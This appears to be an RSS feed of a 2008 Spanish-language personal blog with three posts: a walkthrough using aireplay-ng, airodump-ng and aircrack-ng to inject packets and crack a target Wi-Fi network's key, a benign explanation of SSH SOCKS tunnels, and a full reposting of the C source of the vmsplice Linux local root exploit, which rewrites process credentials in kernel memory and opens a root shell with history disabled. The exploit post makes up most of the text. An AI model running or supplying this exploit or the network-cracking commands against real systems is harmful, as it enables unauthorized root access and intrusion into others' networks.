Nekro's Blog

Nekro's Blog http://nekrox.com/ <blog> nekro </blog> Alvaro Lizama Molina (c) 2008 Thu, 24 Apr 2008 20:10:00 -0700 http://www.textmotion.org El nuevo driver para las bcm43xx ya soporta inyeccion de paquetes http://nekrox.com/blog/view/26/el-nuevo-driver-para-las-bcm43xx-ya-soporta-inyeccion-de-paquetes http://nekrox.com/blog/view/26/el-nuevo-driver-para-las-bcm43xx-ya-soporta-inyeccion-de-paquetes Pues eso mismo hoy al actualizar el debian sid se me descargo el nuevo kernel el 2.6.24 y al botear con este veo que por no carga el ndiswrapper x( me pongo a ver el por que y OMFG un nuevo driver el b43 me impide su  funcionamiento, después de leer un poco es una nueva versión para las tarjetas bcm43xx y pues decidí probarlo y todo ok. Ya luego se me ocurre probar si puedo inyectar paquetes. aireplay-ng -9 wlan0_rename Y sorpresa ya con eso veo que puedo inyectar. Y la prueba de fuego: Este paso es opcional, es para cambiar nuestra mac. macchanger -m 00:11:22:33:44:55 wlan0_rename Con esto nos ponemos a capturar paquetes el canal es el de la red que queremos crackear y al parametro --write le damos un nombre para que guarde el dump airodump-ng --channel canal_red --write nombre_dump wlan0_rename Con esto inyectamos paquetes. aireplay-ng -3 -e essid_red -b mac_ap -h nuestra_mac wlan0_rename Y al final con esto sacamos la clave <img src="http://nekrox.com/media/emoticons/default/grin.png" width="16" height="16" />. aircrack-ng nombre_dump.cap Existe un parche para aumentar la velocidad con la que se envían los paquetes pero es para el kernel 2.6.24.1  <img src="http://nekrox.com/media/emoticons/default/grin.png" width="16" height="16" /> me@nekrox.com (Alvaro Lizama Molina) Thu, 24 Apr 2008 20:10:00 -0700 Tuneles SSH en menos de 1 minuto http://nekrox.com/blog/view/25/tuneles-ssh-en-menos-de-1-minuto http://nekrox.com/blog/view/25/tuneles-ssh-en-menos-de-1-minuto Bueno ya a vísperas del FLISOL hay que empezar a preparar la laptop <img src="http://nekrox.com/media/emoticons/default/smile.png" width="16" height="16" /> para llevar y no me refiero a tener todas las particiones & stuff para una instalación mas bien a las medidas de seguridad mínimas para poderse conectar a una LAN donde podrían estar algunos juakersillos ejeme ejem como cierto alumno del ITM x) que no voy a mencionar. Por ejemplo una de estas medidas es usar Túneles SSH para encriptar todas las comunicaciones, que es la que vamos a explicar hoy, también están las VPN pero esas se quedaran para otro día ya que no dispongo ningún server con ip extra <img src="http://nekrox.com/media/emoticons/default/unhappy.png" width="16" height="16" />. Básicamente lo que hacemos con un Tunel SSH es hacer que todos los demás protocolos relativamente inseguros como el HTTP, IRC, IMAP, POP3, SMTP, etc. que mandan la información en texto plano pasen por una conexión encriptada que en este caso la creamos con SSH para así hacerla un poco mas segura y si alguien intenta sniffear la red pues no pueda ver nada humanamente comprensible x). SSH aparte de dar acceso a shells remotas seguras, copiar archivos entre dos maquinas de una red de forma segura, tener un ftp seguro permite redirigir el trafico de los puertos, forwadear todo. Esto se logra con el siguiente comando:  ssh -f -N -D 31337 -C user@host   Los parámetros que le pasamos al ssh hacen todo el truco, con -f pasamos al ssh en background, con -N le decimos que no acepte comandos esa conexión esto es importante si solo queremos forwadear, -D es para poner el ssh a la escucha del puerto 31337 de forma local osea en nuestra maquina, -C para comprimir los datos y por ultimo el user y host de nuestro servidor SSH que es importante que tenga la versión 2 del protocolo ya que la 1 con sniffers como ethercap la pueden romper, también es importante que estemos seguros que el servidor SSH este en una red segura si no no tendría caso. Ya con esto tenemos un túnel que encripta la información que pasa por el que va desde nuestra pc hasta el servidor que especifiquemos. Para usarlo solo tenemos que decirle a nuestros programas que se conecten a nustro localhost y al puerto 31337 o al que le hallamos puesto, esto es como si usaramos SOCKS x) el firefox, el xchat, thunderbird, emesene tiene soporte para eso <img src="http://nekrox.com/media/emoticons/default/smile.png" width="16" height="16" />. me@nekrox.com (Alvaro Lizama Molina) Thu, 24 Apr 2008 00:51:00 -0700 pwn3d Linux http://nekrox.com/blog/view/10/pwn3d-linux http://nekrox.com/blog/view/10/pwn3d-linux Nuevo exploit ya publico con el cual se cosigue escalar privilegios  en cualquier maquina con linux .... este no compila en gentoo almenos en el mio no y no funciona a la primera ay que ejcutarlo varias veces por que da violacion de segmento pero si funciona en todas .... las distros al parecer. <div class="c"><pre>   /*      * jessica_biel_naked_in_my_bed.c      *      * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.      * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.      * Stejnak je to stare jak cyp a aj jakesyk rozbite.      *      * Linux vmsplice Local Root Exploit      * By qaaz      *      * Linux 2.6.17 - 2.6.24.1      *      * This is quite old code and I had to rewrite it to even compile.      * It should work well, but I don't remeber original intent of all      * the code, so I'm not 100% sure about it. You've been warned ;)      *      * -static -Wno-format        */     #define _GNU_SOURCE     #include <stdio.h>     #include <errno.h>     #include <stdlib.h>     #include <string.h>     #include <malloc.h>     #include <limits.h>     #include <signal.h>     #include <unistd.h>     #include <sys/uio.h>     #include <sys/mman.h>     #include <asm/page.h>     #define __KERNEL__     #include <asm/unistd.h>       #define PIPE_BUFFERS  16     #define PG_compound   14     #define uint          unsigned int     #define static_inline static inline __attribute__((always_inline))     #define STACK(x)      (x + sizeof(x) - 40)       struct page {           unsigned long flags;           int count;           int mapcount;           unsigned long private;           void *mapping;           unsigned long index;           struct { long next, prev; } lru;     };       void  exit_code();     char  exit_stack[1024 * 1024];       void  die(char *msg, int err)     {           printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));           fflush(stdout);           fflush(stderr);           exit(1);     }       #if defined (__i386__)       #ifndef __NR_vmsplice     #define __NR_vmsplice 316     #endif       #define USER_CS               0x73     #define USER_SS               0x7b     #define USER_FL               0x246       static_inline     void  exit_kernel()     {           __asm__ __volatile__ (           "movl %0, 0x10(%%esp) ;"           "movl %1, 0x0c(%%esp) ;"           "movl %2, 0x08(%%esp) ;"           "movl %3, 0x04(%%esp) ;"           "movl %4, 0x00(%%esp) ;"           "iret"           : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),               "i" (USER_CS), "r" (exit_code)           );     }       static_inline     void *        get_current()     {           unsigned long curr;           __asm__ __volatile__ (           "movl %%esp, %%eax ;"           "andl %1, %%eax ;"           "movl (%%eax), %0"           : "=r" (curr)           : "i" (~8191)           );           return (void *) curr;     }       #elif defined (__x86_64__)       #ifndef __NR_vmsplice     #define __NR_vmsplice 278     #endif       #define USER_CS               0x23     #define USER_SS               0x2b     #define USER_FL               0x246       static_inline     void  exit_kernel()     {           __asm__ __volatile__ (           "swapgs ;"           "movq %0, 0x20(%%rsp) ;"           "movq %1, 0x18(%%rsp) ;"           "movq %2, 0x10(%%rsp) ;"           "movq %3, 0x08(%%rsp) ;"           "movq %4, 0x00(%%rsp) ;"           "iretq"           : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),               "i" (USER_CS), "r" (exit_code)           );     }       static_inline     void *        get_current()     {           unsigned long curr;           __asm__ __volatile__ (           "movq %%gs:(0), %0"           : "=r" (curr)           );           return (void *) curr;     }       #else     #error "unsupported arch"     #endif       #if defined (_syscall4)     #define __NR__vmsplice        __NR_vmsplice     _syscall4(           long, _vmsplice,           int, fd,           struct iovec *, iov,           unsigned long, nr_segs,           unsigned int, flags)       #else     #define _vmsplice(fd,io,nr,fl)        syscall(__NR_vmsplice, (fd), (io), (nr), (fl))     #endif       static uint uid, gid;       void  kernel_code()     {           int     i;           uint    *p = get_current();             for (i = 0; i < 1024-13; i++) {                   if (p[0] == uid && p[1] == uid &&                       p[2] == uid && p[3] == uid &&                       p[4] == gid && p[5] == gid &&                       p[6] == gid && p[7] == gid) {                           p[0] = p[1] = p[2] = p[3] = 0;                           p[4] = p[5] = p[6] = p[7] = 0;                           p = (uint *) ((char *)(p + 8) + sizeof(void *));                           p[0] = p[1] = p[2] = ~0;                           break;                   }                   p++;           }                    exit_kernel();     }       void  exit_code()     {           if (getuid() != 0)                   die("wtf", 0);             printf("[+] root\n");           putenv("HISTFILE=/dev/null");           execl("/bin/bash", "bash", "-i", NULL);           die("/bin/bash", errno);     }       int   main(int argc, char *argv[])     {           int             pi[2];           size_t          map_size;           char *          map_addr;           struct iovec    iov;           struct page *   pages[5];             uid = getuid();           gid = getgid();           setresuid(uid, uid, uid);           setresgid(gid, gid, gid);             printf("-----------------------------------\n");           printf(" Linux vmsplice Local Root Exploit\n");           printf(" By qaaz\n");           printf("-----------------------------------\n");             if (!uid || !gid)                   die("!@#$", 0);             /*****/           pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};           pages[1] = pages[0] + 1;             map_size = PAGE_SIZE;           map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,                           MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);           if (map_addr == MAP_FAILED)                   die("mmap", errno);             memset(map_addr, 0, map_size);           printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);           printf("[+] page: 0x%lx\n", pages[0]);           printf("[+] page: 0x%lx\n", pages[1]);             pages[0]->flags    = 1 << PG_compound;           pages[0]->private  = (unsigned long) pages[0];           pages[0]->count    = 1;           pages[1]->lru.next = (long) kernel_code;             /*****/           pages[2] = *(void **) pages[0];           pages[3] = pages[2] + 1;             map_size = PAGE_SIZE;           map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,                           MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);           if (map_addr == MAP_FAILED)                   die("mmap", errno);             memset(map_addr, 0, map_size);           printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);           printf("[+] page: 0x%lx\n", pages[2]);           printf("[+] page: 0x%lx\n", pages[3]);             pages[2]->flags    = 1 << PG_compound;           pages[2]->private  = (unsigned long) pages[2];           pages[2]->count    = 1;           pages[3]->lru.next = (long) kernel_code;             /*****/           pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};           map_size = PAGE_SIZE;           map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,                           MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);           if (map_addr == MAP_FAILED)                   die("mmap", errno);           memset(map_addr, 0, map_size);           printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);           printf("[+] page: 0x%lx\n", pages[4]);             /*****/           map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;           map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);           if (map_addr == MAP_FAILED)                   die("mmap", errno);             memset(map_addr, 0, map_size);           printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);             /*****/           map_size -= 2 * PAGE_SIZE;           if (munmap(map_addr + map_size, PAGE_SIZE) < 0)                   die("munmap", errno);             /*****/           if (pipe(pi) < 0) die("pipe", errno);           close(pi[0]);             iov.iov_base = map_addr;           iov.iov_len  = ULONG_MAX;             signal(SIGPIPE, exit_code);           _vmsplice(pi[1], &iov, 1, 0);           die("vmsplice", errno);           return 0;     }      </div> </pre> me@nekrox.com (Alvaro Lizama Molina) Sun, 10 Feb 2008 19:43:03 -0800